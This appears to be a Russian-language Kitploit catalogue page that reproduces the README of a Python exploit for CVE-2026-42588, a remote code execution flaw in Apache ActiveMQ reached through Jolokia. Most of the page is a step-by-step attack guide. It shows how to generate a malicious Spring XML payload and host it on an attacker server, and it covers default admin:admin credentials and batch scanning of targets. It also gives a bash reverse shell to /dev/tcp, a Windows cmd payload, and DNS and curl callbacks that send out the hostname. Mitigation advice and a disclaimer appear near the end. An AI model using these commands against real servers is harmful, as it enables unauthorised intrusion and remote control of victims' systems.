Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hnytgl/cve-2026-42588
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubhnytgl/cve-2026-42588

CVE-2026-42588

Python-эксплойт RCE для CVE-2026-42588, нацеленный на Apache ActiveMQ Jolokia. Имеет режим только проверки, генерацию вредоносного XML и поддержку обратной оболочки, OOB и проверки на основе файлов.

Репозиторий
323 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42588 - Удаленное выполнение кода через Jolokia в Apache ActiveMQ

Уровень серьезности: 🔴 Высокий (CVSS 4.0: 8.1)
Тип уязвимости: CWE-94 — Инъекция кода
Затронутые версии: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Необходимые условия: Требуются учетные данные Web Console (по умолчанию admin:admin)


📋 Содержание

  • Обзор уязвимости
  • Принцип работы уязвимости
  • Затронутые версии
  • Необходимые условия для эксплуатации
  • Описание файлов
  • Быстрый старт
  • Подробное описание использования
  • Полная схема цепочки эксплуатации
  • Проверка успешности эксплуатации
  • Способы устранения
  • Временные меры смягчения
  • Часто задаваемые вопросы (FAQ)
  • Отказ от ответственности
  • Ссылки

  • Обзор уязвимости

    CVE-2026-42588 — это уязвимость удаленного выполнения кода (RCE) после аутентификации в Apache ActiveMQ.

    При наличии учетных данных Web Console атакующий может через Jolokia JMX-HTTP интерфейс (/api/jolokia/) вызвать метод BrokerService.addNetworkConnector(String), передав специально сконструированный masterslave:// discovery URI. Используя протокол xbean:, он загружает удаленный Spring XML конфигурационный файл, что в конечном итоге приводит к выполнению произвольных системных команд в JVM ActiveMQ Broker.


    Принцип работы уязвимости

    Цепочка эксплуатации

    root@kitploit:~
    /api/jolokia/ (Jolokia JMX-HTTP Bridge)
           │
           ▼
    BrokerService.addNetworkConnector(String)
           │
           ▼
    masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
           │
           ▼
    XBeanBrokerFactory → ResourceXmlApplicationContext
           │
           ▼
    Spring предварительно создает все синглтон-бины → Вызов Runtime.exec() / ProcessBuilder
           │
           ▼
    🚨 Удаленное выполнение кода (RCE)
    

    Ключевые технические моменты

    ЭтапОписание
    Поверхность JolokiaWeb Console ActiveMQ по умолчанию открывает /api/jolokia/, что позволяет выполнять операцию exec над MBean org.apache.activemq:*
    Опасный методBrokerService.addNetworkConnector(String) принимает discovery URI и обрабатывает его
    Цепочка срабатывания URIПараметр brokerConfig протокола masterslave:// контролируем, что в сочетании со схемой xbean: вызывает загрузку Spring контекста
    Точка срабатывания RCEXBeanBrokerFactory использует ResourceXmlApplicationContext для загрузки удаленного XML; Spring создает все синглтон-бины до проверки конфигурации

    Затронутые версии

    ВерсияСтатус
    Apache ActiveMQ < 5.19.7❌ Уязвима
    6.0.0 ≤ Apache ActiveMQ < 6.2.6❌ Уязвима
    Apache ActiveMQ ≥ 5.19.7✅ Исправлена
    Apache ActiveMQ ≥ 6.2.6✅ Исправлена

    Необходимые условия для эксплуатации

    1. ✅ Сетевая доступность — интерфейс /api/jolokia/ должен быть доступен атакующему (порт по умолчанию 8161)
    2. ✅ Действительные учетные данные — наличие учетных данных Web Console ActiveMQ (по умолчанию admin:admin)
    3. ✅ HTTP-сервер атакующего — требуется HTTP-сервер, доступный цели, для размещения вредоносного XML-файла

    Описание файлов

    root@kitploit:~
    .
    ├── CVE-2026-42588_EXP.py   # Скрипт эксплуатации уязвимости (основной)
    ├── malicious.xml            # Шаблон вредоносного Spring XML
    ├── requirements.txt         # Зависимости Python
    └── README.md                # Этот файл
    
    ФайлНазначение
    CVE-2026-42588_EXP.pyСкрипт эксплуатации на Python с поддержкой режима проверки (--check-only) и генерации XML (--gen-xml)
    malicious.xmlШаблон вредоносной Spring XML-конфигурации, содержащий два способа эксплуатации: Runtime.exec() и ProcessBuilder

    Быстрый старт

    1. Установка зависимостей

    root@kitploit:~
    pip install -r requirements.txt
    

    2. Генерация вредоносного XML-файла

    root@kitploit:~
    python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
    

    3. Размещение вредоносного XML-файла

    Запустите HTTP-сервер на машине атакующего:

    root@kitploit:~
    python3 -m http.server 8080
    

    4. Выполнение эксплуатации

    root@kitploit:~
    # Использование учетных данных по умолчанию admin/admin
    python CVE-2026-42588_EXP.py \
        -u http://192.168.1.100:8161 \
        -x http://your-attacker-ip:8080/malicious.xml
    
    # Использование пользовательских учетных данных
    python CVE-2026-42588_EXP.py \
        -u http://target:8161 \
        -U myuser \
        -P mypass \
        -x http://your-attacker-ip:8080/malicious.xml
    

    5. (Опционально) Только проверка уязвимости

    root@kitploit:~
    python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
    

    Подробное описание использования

    Параметры командной строки

    root@kitploit:~
    usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
                                 [-x XML_URL] [--check-only] [--gen-xml]
                                 [-c COMMAND] [--timeout TIMEOUT] [--no-verify]
    
    Опции:
      -u, --url         URL целевого ActiveMQ (например, http://192.168.1.100:8161)
      -U, --username    Имя пользователя Web Console (по умолчанию: admin)
      -P, --password    Пароль Web Console (по умолчанию: admin)
      -x, --xml-url     Удаленный URL вредоносного Spring XML-файла
      --check-only      Только проверить доступность интерфейса Jolokia
      --gen-xml         Сгенерировать вредоносный XML-файл и вывести в stdout
      -c, --command     Команда для выполнения на целевой системе (по умолчанию: touch /tmp/activemq_pwned)
      --timeout         Тайм-аут HTTP-запроса в секундах (по умолчанию: 30)
      --no-verify       Отключить проверку SSL-сертификата
    

    Сценарий 1: Обратный Shell

    1. Генерация вредоносного XML на машине атакующего:

    root@kitploit:~
    python CVE-2026-42588_EXP.py --gen-xml \
        -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
        > reverse_shell.xml
    

    2. Размещение XML и запуск прослушивания:

    root@kitploit:~
    # Терминал 1: HTTP-сервер
    python3 -m http.server 8080
    
    # Терминал 2: nc для прослушивания
    nc -lvnp 4444
    

    3. Запуск эксплуатации:

    root@kitploit:~
    python CVE-2026-42588_EXP.py \
        -u http://target:8161 \
        -x http://10.0.0.1:8080/reverse_shell.xml
    

    Сценарий 2: Выполнение CMD-команд (цель Windows)

    1. Генерация вредоносного XML для Windows:

    Измените команду ProcessBuilder в malicious.xml на:

    root@kitploit:~
    <bean class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd.exe</value>
                <value>/c</value>
                <value>whoami &gt; C:\windows\temp\pwned.txt</value>
            </list>
        </constructor-arg>
    </bean>
    

    2. Размещение и выполнение:

    root@kitploit:~
    python CVE-2026-42588_EXP.py \
        -u http://windows-target:8161 \
        -x http://attacker:8080/malicious_win.xml
    

    Сценарий 3: Только проверка уязвимости

    root@kitploit:~
    # Пакетная проверка
    for ip in $(cat targets.txt); do
        echo "=== Testing $ip ==="
        python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
    done
    

    Полная схема цепочки эксплуатации

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────────────┐
    │                    Цепочка атаки CVE-2026-42588                      │
    ├─────────────────────────────────────────────────────────────────────┤
    │                                                                      │
    │  ① Атакующий                         ⑤ ActiveMQ Broker (JVM)        │
    │  ┌──────────┐                         ┌──────────────────────────┐   │
    │  │ EXP-     │──── ② HTTP POST ───────▶│ /api/jolokia/            │   │
    │  │ скрипт   │    Jolokia exec()        │                          │   │
    │  │          │    Basic Auth            │ BrokerService.           │   │
    │  │          │                          │ addNetworkConnector(     │   │
    │  │          │                          │   "masterslave://?       │   │
    │  │          │                          │    brokerConfig=         │   │
    │  │          │                          │    xbean:http://...      │   │
    │  │          │                          │    /malicious.xml"       │   │
    │  └──────────┘                          │ )                        │   │
    │       │                                └────────┬─────────────────┘   │
    │       │                                         │                     │
    │       │          ③ HTTP GET                     ▼                     │
    │       │  ┌──────────────────────┐  ┌────────────────────────────┐    │
    │       └─▶│ HTTP-сервер          │  │ ResourceXmlApplication     │    │
    │          │ атакующего           │  │ Context загружает          │    │
    │          │ (python http.server) │  │ удаленный XML              │    │
    │          │                      │  │                            │    │
    │          │ malicious.xml        │  │ Spring предварительно      │    │
    │          └──────────────────────┘  │ создает Bean ──▶           │    │
    │                                    │ Runtime.exec() /           │    │
    │                                    │ ProcessBuilder.start()     │    │
    │                                    │          │                  │    │
    │                                    │          ▼                  │    │
    │                                    │    🚨 RCE успешно 🚨       │    │
    │                                    └────────────────────────────┘    │
    │                                                                      │
    └─────────────────────────────────────────────────────────────────────┘
    

    Проверка успешности эксплуатации

    Поскольку выполнение команды происходит на этапе парсинга Spring XML, оно является асинхронным, и результат может не отображаться непосредственно в HTTP-ответе. Рекомендуется проверять следующими способами:

    Способ 1: Обратный Shell (наиболее надежный)

    root@kitploit:~
    # Машина атакующего
    nc -lvnp 4444
    

    Способ 2: DNS out-of-band (OOB)

    root@kitploit:~
    # Используйте nslookup или curl в команде для обратной передачи данных
    nslookup $(hostname).your-dns-server.com
    

    Способ 3: Проверка по файлу-маркеру

    root@kitploit:~
    # Проверьте наличие маркерного файла на целевой системе
    ls -la /tmp/activemq_pwned
    

    Способ 4: Обратное HTTP-подключение

    root@kitploit:~
    # В вредоносном XML используйте
    curl http://your-server:8888/$(hostname)
    # Одновременно прослушивайте на машине атакующего
    nc -lvnp 8888
    

    Способы устранения

    ✅ Рекомендуемый способ: обновление версии

    Линейка версийОбновить до
    Серия 5.x5.19.7 или новее
    Серия 6.x6.2.6 или новее

    Ссылка для скачивания: https://activemq.apache.org/download

    Уведомление об исправлении: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm


    Временные меры смягчения

    Если обновление временно невозможно, можно предпринять следующие меры для снижения риска:

    1. Ограничение доступа к интерфейсу Jolokia

    В conf/jetty.xml ограничьте доступ к /api/jolokia/ только с локального хоста или внесите IP в белый список с помощью брандмауэра/обратного прокси.

    2. Изменение политики доступа Jolokia

    Отредактируйте conf/jolokia-access.xml, запретив операцию exec для MBean org.apache.activemq:*:

    root@kitploit:~
    <restrict>
        <mbean>
            <name>org.apache.activemq:*</name>
            <operation>!exec</operation>
        </mbean>
    </restrict>
    

    3. Смена учетных данных по умолчанию

    Отредактируйте conf/jetty-realm.properties, изменив пароль по умолчанию admin: admin, admin на надежный.

    4. Отключение Web Console (если не требуется)

    В conf/jetty.xml закомментируйте конфигурацию контекста, связанную с Web Console.


    Часто задаваемые вопросы (FAQ)

    В: Требуется ли аутентификация для этой уязвимости?

    О: Да, требуются действительные учетные данные Web Console ActiveMQ. Однако пароль по умолчанию — admin/admin, и во многих реальных системах он не изменен, поэтому риск остается высоким.

    В: Что делать, если после выполнения EXP нет вывода?

    О: Это нормально. Выполнение команды является асинхронным и происходит на этапе парсинга Spring XML. Рекомендуется использовать обратный Shell, DNS out-of-band и другие способы проверки. Подробнее см. раздел Проверка успешности эксплуатации.

    В: Поддерживаются ли цели Windows?

    О: Да, поддерживаются. Необходимо изменить команду в malicious.xml с /bin/sh -c на cmd.exe /c и соответствующим образом адаптировать синтаксис команды под Windows.

    В: Может ли режим проверки (--check-only) гарантировать наличие уязвимости?

    О: Режим проверки может только подтвердить доступность интерфейса Jolokia (необходимое условие для эксплуатации). Доступность интерфейса не гарантирует возможность эксплуатации, но указывает на такую потенциальную возможность.

    В: Можно ли эксплуатировать уязвимость после установки исправления?

    О: Нет. После обновления до версии 5.19.7+ или 6.2.6+ логика обработки параметра brokerConfig была исправлена, и схема xbean: больше не принимается.


    Отказ от ответственности

    ⚠️ Данный инструмент предназначен только для исследований в области безопасности и авторизованного тестирования!

    • Использование данного инструмента для несанкционированного доступа к системам является незаконным действием
    • Пользователь несет полную ответственность за все последствия и ущерб, возникшие в результате использования данного инструмента
    • Автор не несет ответственности за любое несанкционированное использование, злоупотребление или ущерб, возникший в результате этого
    • Используйте инструмент только на собственных системах или системах, на которые получено письменное разрешение
    • Соблюдайте местные законы и нормы профессиональной этики

    Ссылки

    ИсточникСсылка
    База данных уязвимостей (CVE Detail)https://www.cybersecurity-help.cz/vdb/vulns/133395/
    Уведомление об уязвимости (Antiy)https://bbs.antiy.cn/thread-210844-1-1.html
    Подробности уязвимости (DDPOC)https://ddpoc.com/DVB-2026-11290.html
    Официальный сайт Apache ActiveMQhttps://activemq.apache.org/
    Бюллетень безопасности Apachehttps://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm

    CVE-2026-42588 — Только для образовательных и авторизованных целей тестирования

    Скачать инструмент